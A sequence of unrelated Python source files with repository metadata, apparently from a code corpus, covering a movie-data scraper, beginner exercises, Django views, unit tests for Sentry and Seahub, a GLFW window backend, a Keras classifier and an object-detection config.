get_movie_base_info Just to use a open source link to get sample data based on movie ID. """ base_api_url = "https://movie.querydata.org/api?id={}" # get full ids with movie name with open(os.path.join('tmp_data', 'top250_link.txt'), 'r', encoding='utf-8') as f: data_line = f.readlines() movie_info_dict = {} for data in data_line: id = data.split(',')[-1].split("/")[-2] movie_name = data.split(',')[0] response = requests.get(base_api_url.format(id)).text movie_info_dict[movie_name] = response return movie_info_dict if __name__ == '__main__': splider = DoubanSplider() res_link = splider.get_top250_links() splider.save_list_into_file(res_link, 'top250_link.txt')

[ "guangqiang.lu@accenture.com" ]

guangqiang.lu@accenture.com

583cccb8c6a66535f378859ee3db2a6dccf5f457

c3f3ce2557682a53199a5ff6e8faf988dfa395fa

/1 - Introduccion/ejercicio2.py

919c9eb7a908c3eb0d7afde5f95470d814441e24

[ "MIT" ]

permissive

yang-itimec/Python-basics

b6a19cb94882fac917245ec9af2f3eca2bbc25d5

52fbe2019619d760d393dbfed96bbd823b9ba698

refs/heads/master

2020-04-10T17:44:27.691443

2018-12-14T14:47:57

161,182,531

0

null

2018-12-11T15:44:54

2018-12-10T13:52:58

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Python

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954

py

# -*- coding: utf-8 -*- """ Created on Mon Dec 10 16:51:53 2018 @author: PENG YANG YANG """ ######################## # TEMA 1 - EJERCICIO 2 # ######################## ''' Ejercicios mutaciones, alias y clonaciones 1- Crear una lista con los meses del año (lista1). 2- Crear un alias de la lista (lista2). 3- Clonar la lista (lista3). 4- Añadir a la lista1 “Fin de Año” 5- Mostrar la lista2 y la lista3. ''' %reset -f #%% 1- Crear una lista con los meses del año (lista1). lista1 = ['Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto', 'Septiembre','Octubre','Noviembre','Diciembre'] lista1 #%% 2- Crear un alias de la lista (lista2). lista2 = lista1 lista2 #%% 3- Clonar la lista (lista3). lista3 = lista1[:] lista3 #%% 4- Añadir a la lista1 “Fin de Año” lista1.append('Fin de Año') lista1 #%% 5- Mostrar la lista2 y la lista3. print(lista2) print(lista3)

[ "noreply@github.com" ]

yang-itimec.noreply@github.com

4b3a9d826820ca989271e40c1f7f39529da12284

abe2b440071962ad1f0eaaf34ddfcccafba4b5f8

/15_descriptions.py

604ea6aea2f8b79fb547797d407d4684c46be0b4

[]

no_license

shauseth/converting-bdb-to-48hd

f097e253648c9e8d49b539548cb58d5adfb1cb87

0c4daba99247d366b0da58b021e8d6a9ec78ae2e

refs/heads/master

2020-05-18T02:29:28.604783

2019-05-21T18:22:05

184,116,399

0

null

UTF-8

Python

false

671

py

# SH-I import pandas as pd import os data = pd.read_csv('second-generation-2.csv') id_list = [] seq_list = [] for filename in os.listdir('.'): if filename == 'desc.py': pass elif filename == 'second-generation-2.csv': pass else: # get IDs split = filename.split('_') id = split[0] id_list.append(int(id)) # get sequences file = open(filename, 'r') seq = file.read() seq_list.append(seq) file.close() dict = dict(zip(id_list, seq_list)) data['Sequences'] = data['MimotopeSetID'].map(dict) print(data) data.to_csv('second-generation-3.csv', index = False)

[ "noreply@github.com" ]

shauseth.noreply@github.com

12b66e27cea728950994f9107bed6a3ac88c37e0

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/tests/sentry/mediators/sentry_app_installations/test_creator.py

501aa0dfe71cb01db55eb1eb8186413f1a00b25c

[ "BSD-2-Clause" ]

permissive

conan25216/sentry

8649761d4cbd2ff7ec21b1ac171f0997da2e692f

fe38ab19fb096688140b2065da0e45fa26762200

refs/heads/master

2020-04-09T12:37:20.846884

2018-12-04T12:20:26

160,357,556

1

0

BSD-3-Clause

2018-12-04T12:56:51

2018-12-04T12:56:50

null

UTF-8

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py

from __future__ import absolute_import from mock import patch from sentry.mediators.sentry_app_installations import Creator from sentry.models import ApiAuthorization from sentry.testutils import TestCase class TestCreator(TestCase): def setUp(self): self.user = self.create_user() self.org = self.create_organization() self.sentry_app = self.create_sentry_app( name='nulldb', organization=self.org, scopes=('project:read',), ) self.creator = Creator( organization=self.org, slug='nulldb', user=self.user, ) def test_creates_api_authorization(self): install, grant = self.creator.call() assert ApiAuthorization.objects.get( application=self.sentry_app.application, user=self.sentry_app.proxy_user, scopes=self.sentry_app.scopes, ) def test_creates_installation(self): install, grant = self.creator.call() assert install.pk def test_creates_api_grant(self): install, grant = self.creator.call() assert grant.pk @patch('sentry.tasks.app_platform.installation_webhook.delay') def test_notifies_service(self, installation_webhook): install, _ = self.creator.call() installation_webhook.assert_called_once_with(install.id, self.user.id) def test_associations(self): install, grant = self.creator.call() assert install.api_grant == grant assert install.authorization is not None

[ "noreply@github.com" ]

conan25216.noreply@github.com

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1ff6cd4b1114b530a0f2918f6d2193b2ce270bcf

/Week-2/Day_4/die_roll.py

6d39b06fc9f5660daad7d8d3199b080ad48932b8

[]

no_license

Ace238/python-bootcamp

e8fac460488701eff6453bd81ddab8eb4059a2aa

adea58b8f9b87a52338181f677f01d6cbc802046

refs/heads/master

2020-12-05T15:08:58.366028

2020-01-16T05:22:02

232,150,937

0

null

UTF-8

Python

false

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py

import random def roll_die(dice_max): """ returns a die roll - random integer between 1 and 6 0 through 6 are each side of a standard die """ return random.randint(1,dice_max) def monte_carlo(n): """ performs a monte carlo simulation of a die roll [PARAM]\t n (int) - number of samples [RETURN]\t None - prints out the results of the simulation """ one_count = 0 two_count = 0 three_count = 0 four_count = 0 five_count = 0 six_count = 0 exp_count = 0 while exp_count <n: result = roll_die() if(result == 1): one_count += 1 elif(result == 2): two_count += 1 elif(result == 3): three_count += 1 elif(result == 4): four_count += 1 elif(result == 5): five_count += 1 elif(result == 6): six_count += 1 exp_count += 1 print(f"There were {n} simulations performed.") msg = f"There were {(one_count/n) * 100}% ones" print(msg) msg = f"There were {(two_count/n) * 100}% twos" print(msg) msg = f"There were {(three_count/n) * 100}% threes" print(msg) msg = f"There were {(four_count/n) * 100}% fours" print(msg) msg = f"There were {(five_count/n) * 100}% fives" print(msg) msg = f"There were {(six_count/n) * 100}% sixes" print(msg) # monte_carlo(100000) def monte_carlo_with_lists(N, dice_max = 6): results = [] for exp in range(0,N): results.append(roll_die(dice_max)) print(f"{N} experiments performed") for outcome in range(1, dice_max + 1): count = results.count(outcome) msg = f"The probability of {outcome} = {(count/N)*100}%" print(msg) dice_max = 10 monte_carlo_with_lists(10000, dice_max)

[ "tmilien000@citymail.cuny.edu" ]

tmilien000@citymail.cuny.edu

84340a119e8fdb72320174077f9aa1c0605ca64f

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/03_django/02_django_crud/articles/views.py

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[]

no_license

baambox5/TIL

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refs/heads/master

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from IPython import embed from django.core.exceptions import ValidationError from django.shortcuts import render, redirect from .models import Article, Comment # Create your views here. def index(request): # articles = Article.objects.all() articles = Article.objects.order_by('-pk') # DB가 변경(가능한 권장) # articles = Article.objects.all()[::-1] # python이 변경 context = {'articles': articles,} return render(request, 'articles/index.html', context) def create(request): # CREATE if request.method == 'POST': title = request.POST.get('title') content = request.POST.get('content') image = request.FILES.get('image') # 1 # article = Article() # article.title = title # article.content = content # article.save() # 2 article = Article(title=title, content=content, image=image) article.save() # 3 # Article.objects.create(title=title, content=content) return redirect(article) # 메인 페이지 # return redirect('/articles/', article.pk) # NEW else: return render(request, 'articles/create.html') def detail(request, article_pk): article = Article.objects.get(pk=article_pk) comments = article.comment_set.all() context = {'article': article, 'comments': comments,} return render(request, 'articles/detail.html', context) def delete(request, article_pk): article = Article.objects.get(pk=article_pk) if request.method == 'POST': article.delete() return redirect('articles:index') else: return redirect(article) def update(request, article_pk): article = Article.objects.get(pk=article_pk) if request.method == 'POST': article.title = request.POST.get('title') article.content = request.POST.get('content') article.image = request.FILES.get('image') article.save() return redirect(article) else: context = {'article': article,} return render(request, 'articles/update.html', context) def comments_create(request, article_pk): # 댓글을 달 게시글 article = Article.objects.get(pk=article_pk) if request.method == 'POST': # form에서 넘어온 댓글 정보 content = request.POST.get('content') # 댓글 생성 및 저장 comment = Comment(article=article, content=content) comment.save() return redirect(article) # return redirect('articles:detail', article.pk) # return redirect('articles:detail' article_pk) else: return redirect(article) def comments_delete(request, article_pk, comment_pk): # article = Article.objects.get(pk=article_pk) if request.method == 'POST': comment = Comment.objects.get(pk=comment_pk) comment.delete() # return redirect(article) return redirect('articles:detail', article_pk)

[ "baamboxo@gmail.com" ]

baamboxo@gmail.com

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/Week_01/加1.py

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[]

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Jackson026/AlgorithmQIUZHAO

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refs/heads/master

2022-12-16T23:40:42.151486

2020-09-02T07:14:21

279,640,530

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2020-07-14T16:41:36

2020-07-14T16:41:35

null

UTF-8

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650

py

# 取巧的办法是转换成字符串然后变为int，最后再转换回去原来的形式，通用性不强，就不作为一种方法写在这里 # 按位运算，倒序，如果是9，就变为0，向前循环，不为9则直接加1； # 如果为999这种特殊形式，则在循环结束后，列表头插入1 .insert(位置，数) def plusOne(self, digits): if not digits: return digits + [1] for i in range(len(digits) - 1, -1, -1): if digits[i] == 9: digits[i] = 0 else: digits[i] = digits[i] + 1 break if digits[0] == 0: digits.insert(0, 1) return digits

[ "guozijia26@126.com" ]

guozijia26@126.com

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/glumpy/app/window/backends/backend_glfw_deprecated.py

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glumpy/glumpy

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2023-09-03T11:48:52.087002

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BSD-3-Clause

2023-07-07T07:25:18

2014-08-31T18:30:26

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UTF-8

Python

false

17,130

py

# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) 2009-2016 Nicolas P. Rougier. All rights reserved. # Distributed under the (new) BSD License. # ----------------------------------------------------------------------------- """ `GLFW <http://www.glfw.org>`_ is an Open Source, multi-platform library for creating windows with OpenGL contexts and receiving input and events. It is easy to integrate into existing applications and does not lay claim to the main loop. **Usage** .. code:: python from glumpy import app app.use("glfw") window = app.Window() **Capability** ========================== ======== ======================== ======== Multiple windows ✓ Set GL API ✓ -------------------------- -------- ------------------------ -------- Non-decorated windows ✓ Set GL Profile ✓ -------------------------- -------- ------------------------ -------- Resize windows ✓ Share GL Context ✓ -------------------------- -------- ------------------------ -------- Move windows ✓ Unicode handling ✓ -------------------------- -------- ------------------------ -------- Fullscreen ✓ Scroll event ✓ ========================== ======== ======================== ======== """ import os, sys, platform from glumpy import gl from glumpy.log import log from glumpy.app import configuration from glumpy.app.window import window # Backend name __name__ = "GLFW" # Backend version (if available) __version__ = "" # Backend availability __availability__ = False # Whether the framework has been initialized __initialized__ = False # Active windows __windows__ = [] # Windows scheduled to be destroyed __windows_to_remove__ = [] # ---------------------------------------------------- convenient functions --- def name(): return __name__ def version(): return __version__ def available(): return __availability__ # --------------------------------------------------------------- init/exit --- def __init__(): global __initialized__ if not __initialized__: # glfw might change dir on initialization (feature, not a bug) cwd = os.getcwd() glfw.glfwInit() os.chdir(cwd) __initialized__ = True def __exit__(): global __initialized__ glfw.glfwTerminate() __initialized__ = False # ------------------------------------------------------------ availability --- try: from glumpy.ext import glfw __availability__ = True __version__ = ("%d.%d.%d") % glfw.version __init__() __mouse_map__ = { glfw.GLFW_MOUSE_BUTTON_LEFT: window.mouse.LEFT, glfw.GLFW_MOUSE_BUTTON_MIDDLE: window.mouse.MIDDLE, glfw.GLFW_MOUSE_BUTTON_RIGHT: window.mouse.RIGHT } __key_map__ = { glfw.GLFW_KEY_ESCAPE: window.key.ESCAPE, glfw.GLFW_KEY_ENTER: window.key.ENTER, glfw.GLFW_KEY_TAB: window.key.TAB, glfw.GLFW_KEY_BACKSPACE: window.key.BACKSPACE, glfw.GLFW_KEY_INSERT: window.key.INSERT, glfw.GLFW_KEY_DELETE: window.key.DELETE, glfw.GLFW_KEY_RIGHT: window.key.RIGHT, glfw.GLFW_KEY_LEFT: window.key.LEFT, glfw.GLFW_KEY_DOWN: window.key.DOWN, glfw.GLFW_KEY_UP: window.key.UP, glfw.GLFW_KEY_PAGE_UP: window.key.PAGEUP, glfw.GLFW_KEY_PAGE_DOWN: window.key.PAGEDOWN, glfw.GLFW_KEY_HOME: window.key.HOME, glfw.GLFW_KEY_END: window.key.END, glfw.GLFW_KEY_CAPS_LOCK: window.key.CAPSLOCK, glfw.GLFW_KEY_LEFT_SHIFT: window.key.LSHIFT, glfw.GLFW_KEY_RIGHT_SHIFT: window.key.RSHIFT, glfw.GLFW_KEY_PRINT_SCREEN: window.key.PRINT, glfw.GLFW_KEY_PAUSE: window.key.PAUSE, glfw.GLFW_KEY_F1: window.key.F1, glfw.GLFW_KEY_F2: window.key.F2, glfw.GLFW_KEY_F3: window.key.F3, glfw.GLFW_KEY_F4: window.key.F4, glfw.GLFW_KEY_F5: window.key.F5, glfw.GLFW_KEY_F6: window.key.F6, glfw.GLFW_KEY_F7: window.key.F7, glfw.GLFW_KEY_F8: window.key.F8, glfw.GLFW_KEY_F9: window.key.F9, glfw.GLFW_KEY_F10: window.key.F10, glfw.GLFW_KEY_F11: window.key.F11, glfw.GLFW_KEY_F12: window.key.F12 } except ImportError: __availability__ = False __version__ = None # -------------------------------------------------------------- capability --- capability = { "Window position get/set" : True, "Window size get/set" : True, "Multiple windows" : True, "Mouse scroll events" : True, "Non-decorated window" : True, "Non-sizeable window" : True, "Fullscreen mode" : True, "Unicode processing" : True, "Set GL version" : True, "Set GL profile" : True, "Share GL context" : True, } # ------------------------------------------------------- set_configuration --- def set_configuration(config): """ Set gl configuration for GLFW """ glfw.glfwWindowHint( glfw.GLFW_REFRESH_RATE, 0 ) glfw.glfwWindowHint(glfw.GLFW_RED_BITS, config.red_size) glfw.glfwWindowHint(glfw.GLFW_GREEN_BITS, config.green_size) glfw.glfwWindowHint(glfw.GLFW_BLUE_BITS, config.blue_size) glfw.glfwWindowHint(glfw.GLFW_ALPHA_BITS, config.alpha_size) glfw.glfwWindowHint(glfw.GLFW_ACCUM_RED_BITS, 0) glfw.glfwWindowHint(glfw.GLFW_ACCUM_GREEN_BITS, 0) glfw.glfwWindowHint(glfw.GLFW_ACCUM_BLUE_BITS, 0) glfw.glfwWindowHint(glfw.GLFW_ACCUM_ALPHA_BITS, 0) glfw.glfwWindowHint(glfw.GLFW_DEPTH_BITS, config.depth_size) glfw.glfwWindowHint(glfw.GLFW_STENCIL_BITS, config.stencil_size) glfw.glfwWindowHint(glfw.GLFW_SRGB_CAPABLE, config.srgb) glfw.glfwWindowHint(glfw.GLFW_SAMPLES, config.samples) glfw.glfwWindowHint(glfw.GLFW_STEREO, config.stereo) if config.api in ("ES", "es"): glfw.glfwWindowHint(glfw.GLFW_CLIENT_API, glfw.GLFW_OPENGL_ES_API) else: glfw.glfwWindowHint(glfw.GLFW_CONTEXT_VERSION_MAJOR, config.major_version) glfw.glfwWindowHint(glfw.GLFW_CONTEXT_VERSION_MINOR, config.minor_version) if config.major_version >= 3 and config.profile == "core": glfw.glfwWindowHint(glfw.GLFW_OPENGL_PROFILE, glfw.GLFW_OPENGL_CORE_PROFILE) glfw.glfwWindowHint(glfw.GLFW_OPENGL_FORWARD_COMPAT, True) elif config.major_version >= 3 and config.profile == "compatibility": glfw.glfwWindowHint(glfw.GLFW_OPENGL_PROFILE, glfw.GLFW_OPENGL_COMPAT_PROFILE) else: glfw.glfwWindowHint(glfw.GLFW_OPENGL_PROFILE, glfw.GLFW_OPENGL_ANY_PROFILE) # ------------------------------------------------------------------ Window --- class Window(window.Window): def __init__( self, width=512, height=512, title=None, visible=True, aspect=None, decoration=True, fullscreen=False, screen=None, config=None, context=None, color=(0,0,0,1), vsync=False): window.Window.__init__(self, width=width, height=height, title=title, visible=visible, aspect=aspect, decoration=decoration, fullscreen=fullscreen, screen=screen, config=config, context=context, color=color) # Whether hidpi is active self._hidpi = False def on_error(error, message): log.warning(message) glfw.glfwSetErrorCallback(on_error) glfw.glfwWindowHint(glfw.GLFW_RESIZABLE, True) glfw.glfwWindowHint(glfw.GLFW_DECORATED, True) glfw.glfwWindowHint(glfw.GLFW_VISIBLE, True) if not decoration: glfw.glfwWindowHint(glfw.GLFW_DECORATED, False) if not visible: glfw.glfwWindowHint(glfw.GLFW_VISIBLE, False) if config is None: config = configuration.Configuration() set_configuration(config) monitor = glfw.glfwGetMonitors()[self._screen] if fullscreen else None if fullscreen: mode = glfw.glfwGetVideoMode(monitor) self._width, self._height = mode[:2] self._native_window = glfw.glfwCreateWindow(self._width, self._height, self._title, monitor, None) if not self._native_window: log.critical("Window creation failed") __exit__() sys.exit() glfw.glfwMakeContextCurrent(self._native_window) glfw.glfwSwapInterval(1 if vsync else 0) # OSX: check framebuffer size / window size. On retina display, they # can be different so we try to correct window size such as having # the framebuffer size of the right size w,h = glfw.glfwGetFramebufferSize(self._native_window) if platform == 'darwin' and (w!= width or h!= height): width, height = width//2, height//2 glfw.glfwSetWindowSize(self._native_window, width, height) log.info("HiDPI detected, fixing window size") self._hidpi = True def on_framebuffer_resize(win, width, height): self._width, self._height = width, height self.dispatch_event('on_resize', width, height) glfw.glfwSetFramebufferSizeCallback(self._native_window, on_framebuffer_resize) # def on_resize(win, width, height): # self._width, self._height = width, height # self.dispatch_event('on_resize', width, height) # glfw.glfwSetWindowSizeCallback(self._native_window, on_resize) def on_cursor_enter(win, entered): if entered: self.dispatch_event('on_enter') else: self.dispatch_event('on_leave') glfw.glfwSetCursorEnterCallback(self._native_window, on_cursor_enter) def on_window_close(win): self.close() glfw.glfwSetWindowCloseCallback(self._native_window, on_window_close) def on_keyboard(win, key, scancode, action, mods): symbol = self._keyboard_translate(key) modifiers = self._modifiers_translate(mods) if action in[glfw.GLFW_PRESS,glfw.GLFW_REPEAT]: self.dispatch_event('on_key_press', symbol, modifiers) else: self.dispatch_event('on_key_release', symbol, modifiers) glfw.glfwSetKeyCallback(self._native_window, on_keyboard) def on_character(win, character): self.dispatch_event('on_character', u"%c" % character) glfw.glfwSetCharCallback(self._native_window, on_character) def on_mouse_button(win, button, action, mods): x,y = glfw.glfwGetCursorPos(win) if self._hidpi: x, y = 2*x, 2*y button = __mouse_map__.get(button, window.mouse.UNKNOWN) if action == glfw.GLFW_RELEASE: self._button = window.mouse.NONE self._mouse_x = x self._mouse_y = y self.dispatch_event('on_mouse_release', x, y, button) elif action == glfw.GLFW_PRESS: self._button = button self._mouse_x = x self._mouse_y = y self.dispatch_event('on_mouse_press', x, y, button) glfw.glfwSetMouseButtonCallback(self._native_window, on_mouse_button) def on_mouse_motion(win, x, y): if self._hidpi: x, y = 2*x, 2*y dx = x - self._mouse_x dy = y - self._mouse_y self._mouse_x = x self._mouse_y = y if self._button != window.mouse.NONE: self.dispatch_event('on_mouse_drag', x, y, dx, dy, self._button) else: self.dispatch_event('on_mouse_motion', x, y, dx, dy) glfw.glfwSetCursorPosCallback(self._native_window, on_mouse_motion) def on_scroll(win, xoffset, yoffset): x,y = glfw.glfwGetCursorPos(win) if self._hidpi: x, y = 2*x, 2*y self.dispatch_event('on_mouse_scroll', x, y, xoffset, yoffset) glfw.glfwSetScrollCallback( self._native_window, on_scroll ) self._width, self._height = self.get_size() __windows__.append(self) def _modifiers_translate( self, modifiers ): _modifiers = 0 if modifiers & glfw.GLFW_MOD_SHIFT: _modifiers |= window.key.MOD_SHIFT if modifiers & glfw.GLFW_MOD_CONTROL: _modifiers |= window.key.MOD_CTRL if modifiers & glfw.GLFW_MOD_ALT: _modifiers |= window.key.MOD_ALT if modifiers & glfw.GLFW_MOD_SUPER: _modifiers |= window.key.MOD_COMMAND self._modifiers = modifiers return _modifiers def _keyboard_translate( self, code ): if (32 <= code <= 96) or code in [161,162]: return code return __key_map__.get(code, window.key.UNKNOWN) def show(self): glfw.glfwShowWindow( self._native_window ) self.dispatch_event('on_show') def hide(self): glfw.glfwHideWindow( self._native_window ) self.dispatch_event('on_hide') def close(self): glfw.glfwSetWindowShouldClose(self._native_window, True) __windows__.remove(self) __windows_to_remove__.append(self) for i in range(len(self._timer_stack)): handler, interval = self._timer_stack[i] self._clock.unschedule(handler) self.dispatch_event('on_close') def destroy(self): glfw.glfwDestroyWindow(self._native_window) def get_screen(self): return glfw.glfwGetWindowMonitor(self._native_window) def set_fullscreen(self, fullscreen, screen=None): screen = 0 if screen is None else screen mode = glfw.glfwGetVideoMode(glfw.glfwGetMonitors()[screen]) if fullscreen: glfw.glfwSetWindowMonitor(self._native_window, screen, 0, 0, mode[0], mode[1], mode[-1]) else: glfw.glfwSetWindowMonitor(self._native_window, screen, 0, 0, 256, 256, mode[-1]) def get_fullscreen(self): return self._fullscreen def set_title(self, title): glfw.glfwSetWindowTitle( self._native_window, title) self._title = title def get_title(self): return self._title def set_size(self, width, height): glfw.glfwSetWindowSize(self._native_window, width, height) self._width, self._height = glfw.glfwGetFramebufferSize(self._native_window) def get_size(self): # self._width, self._height = glfw.glfwGetWindowSize(self._native_window) self._width, self._height = glfw.glfwGetFramebufferSize(self._native_window) return self._width, self._height def set_position(self, x, y): glfw.glfwSetWindowPos(self._native_window, x, y) self._x, self._y = glfw.glfwGetWindowPos(self._native_window) def get_position(self): self._x, self._y = glfw.glfwGetWindowPos(self._native_window) return self._x, self._y def swap(self): glfw.glfwSwapBuffers(self._native_window) def activate(self): glfw.glfwMakeContextCurrent(self._native_window) # ----------------------------------------------------------------- windows --- def windows(): return __windows__ # ----------------------------------------------------------------- process --- def process(dt): # Poll for and process events glfw.glfwPollEvents() for window in __windows__: # Make window active window.activate() # Dispatch the main draw event window.dispatch_event('on_draw', dt) # Dispatch the idle event window.dispatch_event('on_idle', dt) # Swap buffers window.swap() for window in __windows_to_remove__: window.destroy() __windows_to_remove__.remove(window) return len(__windows__)

[ "jstreibel@gmail.com" ]

jstreibel@gmail.com

01ed2276aaa8ccf051e68654900f77f99150ae15

4de03eecadc4c69caf792f4773571c2f6dbe9d68

/tests/seahub/share/views/test_send_shared_link.py

c265c943065929d26d603cb4f387bfa7dd71b7aa

[ "Apache-2.0" ]

permissive

Tr-1234/seahub

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ed255e0566de054b5570218cb39cc320e99ffa44

refs/heads/master

2022-12-23T16:20:13.138757

2020-10-01T04:13:42

300,138,290

0

Apache-2.0

2020-10-01T04:11:41

2020-10-01T04:11:40

null

UTF-8

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3,204

py

from mock import patch from django.core import mail from django.core.urlresolvers import reverse from django.test import override_settings from seahub.profile.models import Profile from seahub.profile.utils import refresh_cache from seahub.test_utils import BaseTestCase class SendSharedLinkTest(BaseTestCase): def setUp(self): mail.outbox = [] @override_settings(DEFAULT_FROM_EMAIL='from_noreply@seafile.com') @patch('seahub.share.views.IS_EMAIL_CONFIGURED', True) def test_can_send(self): self.login_as(self.user) resp = self.client.post(reverse('send_shared_link'), { 'email': self.user.email, 'file_shared_link': 'http://xxx', 'file_shared_name': 'xxx', 'file_shared_type': 'd', 'extra_msg': '' }, HTTP_X_REQUESTED_WITH='XMLHttpRequest') self.assertEqual(200, resp.status_code) self.assertEqual(len(mail.outbox), 1) assert '<a href="http://xxx">http://xxx</a>' in mail.outbox[0].body assert mail.outbox[0].from_email == 'from_noreply@seafile.com' @patch('seahub.share.views.REPLACE_FROM_EMAIL', True) @patch('seahub.share.views.ADD_REPLY_TO_HEADER', True) @patch('seahub.share.views.IS_EMAIL_CONFIGURED', True) @patch('seahub.utils.IS_EMAIL_CONFIGURED', True) def test_can_send_from_replyto_rewrite(self): self.login_as(self.user) resp = self.client.post(reverse('send_shared_link'), { 'email': self.user.email, 'file_shared_link': 'http://xxx', 'file_shared_name': 'xxx', 'file_shared_type': 'd', 'extra_msg': '' }, HTTP_X_REQUESTED_WITH='XMLHttpRequest') self.assertEqual(200, resp.status_code) self.assertEqual(len(mail.outbox), 1) assert '<a href="http://xxx">http://xxx</a>' in mail.outbox[0].body assert mail.outbox[0].from_email == self.user.email assert mail.outbox[0].extra_headers['Reply-to'] == self.user.email @patch('seahub.share.views.REPLACE_FROM_EMAIL', True) @patch('seahub.share.views.ADD_REPLY_TO_HEADER', True) @patch('seahub.share.views.IS_EMAIL_CONFIGURED', True) @patch('seahub.utils.IS_EMAIL_CONFIGURED', True) def test_can_send_from_replyto_rewrite_contact_email(self): self.login_as(self.user) nickname = 'Testuser' contact_email= 'contact_email@test.com' p = Profile.objects.add_or_update(self.user.email, nickname=nickname) p.contact_email = contact_email p.save() refresh_cache(self.user.email) resp = self.client.post(reverse('send_shared_link'), { 'email': self.user.email, 'file_shared_link': 'http://xxx', 'file_shared_name': 'xxx', 'file_shared_type': 'd', 'extra_msg': '' }, HTTP_X_REQUESTED_WITH='XMLHttpRequest') self.assertEqual(200, resp.status_code) self.assertEqual(len(mail.outbox), 1) assert '<a href="http://xxx">http://xxx</a>' in mail.outbox[0].body assert mail.outbox[0].from_email == contact_email assert mail.outbox[0].extra_headers['Reply-to'] == contact_email

[ "colinsippl@gmx.de" ]

colinsippl@gmx.de

0340fad6844580f9a0ff3797769971efcc2f644a

52a4d869976a97498bdf56a8d0ff92cac138a136

/Bioinformatics Textbook Track/Chapter 1/rosalind_ba1d.py

4e6d4b0953bb2d76fa147c0368a4f8c3ded360aa

[]

no_license

aakibinesar/Rosalind

d726369a787d848cc378976b886189978a60a3a5

375bbdbfb16bf11b2f980701bbd0ba74a1605cdb

refs/heads/master

2022-08-18T09:36:00.941080

2020-05-24T18:49:38

264,722,651

0

null

2020-05-17T17:51:03

2020-05-17T17:40:59

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UTF-8

Python

false

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py

def occurrences(genome, sub): """ :param genome: genome for processing :param sub: pattern for which we find indexes of occurnces :return: list of indexes """ start = 0 indexes = [] while True: start = genome.find(sub, start) if start > 0: indexes.append(start) else: break start += 1 return indexes def read_data_from(file_name): with open(file_name, "r") as file: pattern = file.readline().strip() genome = file.readline().strip() return genome, pattern if __name__ == "__main__": genome, pattern = read_data_from("rosalind_ba1d.txt") indexes = occurrences(genome, pattern) for ind in indexes: print ind,

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/keras/keras36_hist3_wine.py

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from sklearn.datasets import load_wine from sklearn.model_selection import train_test_split from sklearn.preprocessing import MinMaxScaler,OneHotEncoder from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense from tensorflow.keras.callbacks import EarlyStopping import matplotlib.pyplot as plt early_stopping = EarlyStopping(monitor='loss',patience=10) datasets = load_wine() x = datasets.data y = datasets.target encoder = OneHotEncoder() y = encoder.fit_transform(y.reshape(-1,1)).toarray() x_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.2) x_train,x_val,y_train,y_val = train_test_split(x_train,y_train,test_size=0.2) scaler = MinMaxScaler() x_train = scaler.fit_transform(x_train) x_test = scaler.fit_transform(x_test) x_val = scaler.fit_transform(x_val) model = Sequential() model.add(Dense(128,activation='relu',input_dim=13)) model.add(Dense(64,activation='relu')) model.add(Dense(32,activation='relu')) model.add(Dense(16,activation='relu')) model.add(Dense(8,activation='relu')) model.add(Dense(3,activation='softmax')) model.compile(loss = 'categorical_crossentropy',optimizer='adam',metrics=['accuracy']) hist = model.fit(x_train,y_train,validation_data=(x_val,y_val),epochs=300,batch_size=4) loss = model.evaluate(x_test,y_test,batch_size=4) y_pred = model.predict(x_test) print('loss : ',loss[0],'\naccuracy : ',loss[1]) ''' DNN loss : 3.391478821868077e-05 accuracy : 1.0 ''' plt.plot(hist.history['loss']) plt.plot(hist.history['val_loss']) plt.plot(hist.history['accuracy']) plt.plot(hist.history['val_accuracy']) plt.title('loss & acc') plt.ylabel('loss, acc') plt.xlabel('epochs') plt.legend(['train_loss','val_loss','train_acc','val_acc']) plt.show()

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/configs/reppoints/bbox_r50_grid_center_fpn_1x.py

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# model settings norm_cfg = dict(type='GN', num_groups=32, requires_grad=True) model = dict( type='RepPointsDetector', pretrained='torchvision://resnet50', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), style='pytorch'), neck=dict( type='FPN', in_channels=[256, 512, 1024, 2048], out_channels=256, start_level=1, add_extra_convs=True, num_outs=5, norm_cfg=norm_cfg), bbox_head=dict( type='RepPointsHead', num_classes=81, in_channels=256, feat_channels=256, point_feat_channels=256, stacked_convs=3, num_points=9, gradient_mul=0.1, point_strides=[8, 16, 32, 64, 128], point_base_scale=4, norm_cfg=norm_cfg, loss_cls=dict( type='FocalLoss', use_sigmoid=True, gamma=2.0, alpha=0.25, loss_weight=1.0), loss_bbox_init=dict(type='SmoothL1Loss', beta=0.11, loss_weight=0.5), loss_bbox_refine=dict(type='SmoothL1Loss', beta=0.11, loss_weight=1.0), transform_method='minmax', use_grid_points=True)) # training and testing settings train_cfg = dict( init=dict( assigner=dict(type='PointAssigner', scale=4, pos_num=1), allowed_border=-1, pos_weight=-1, debug=False), refine=dict( assigner=dict( type='MaxIoUAssigner', pos_iou_thr=0.5, neg_iou_thr=0.4, min_pos_iou=0, ignore_iof_thr=-1), allowed_border=-1, pos_weight=-1, debug=False)) test_cfg = dict( nms_pre=1000, min_bbox_size=0, score_thr=0.05, nms=dict(type='nms', iou_thr=0.5), max_per_img=100) # dataset settings dataset_type = 'CocoDataset' data_root = 'data/coco/' img_norm_cfg = dict( mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) train_pipeline = [ dict(type='LoadImageFromFile'), dict(type='LoadAnnotations', with_bbox=True), dict(type='Resize', img_scale=(1333, 800), keep_ratio=True), dict(type='RandomFlip', flip_ratio=0.5), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='DefaultFormatBundle'), dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']), ] test_pipeline = [ dict(type='LoadImageFromFile'), dict( type='MultiScaleFlipAug', img_scale=(1333, 800), flip=False, transforms=[ dict(type='Resize', keep_ratio=True), dict(type='RandomFlip'), dict(type='Normalize', **img_norm_cfg), dict(type='Pad', size_divisor=32), dict(type='ImageToTensor', keys=['img']), dict(type='Collect', keys=['img']), ]) ] data = dict( imgs_per_gpu=2, workers_per_gpu=2, train=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_train2017.json', img_prefix=data_root + 'train2017/', pipeline=train_pipeline), val=dict( type=dataset_type, ann_file=data_root + 'annotations/instances_val2017.json', 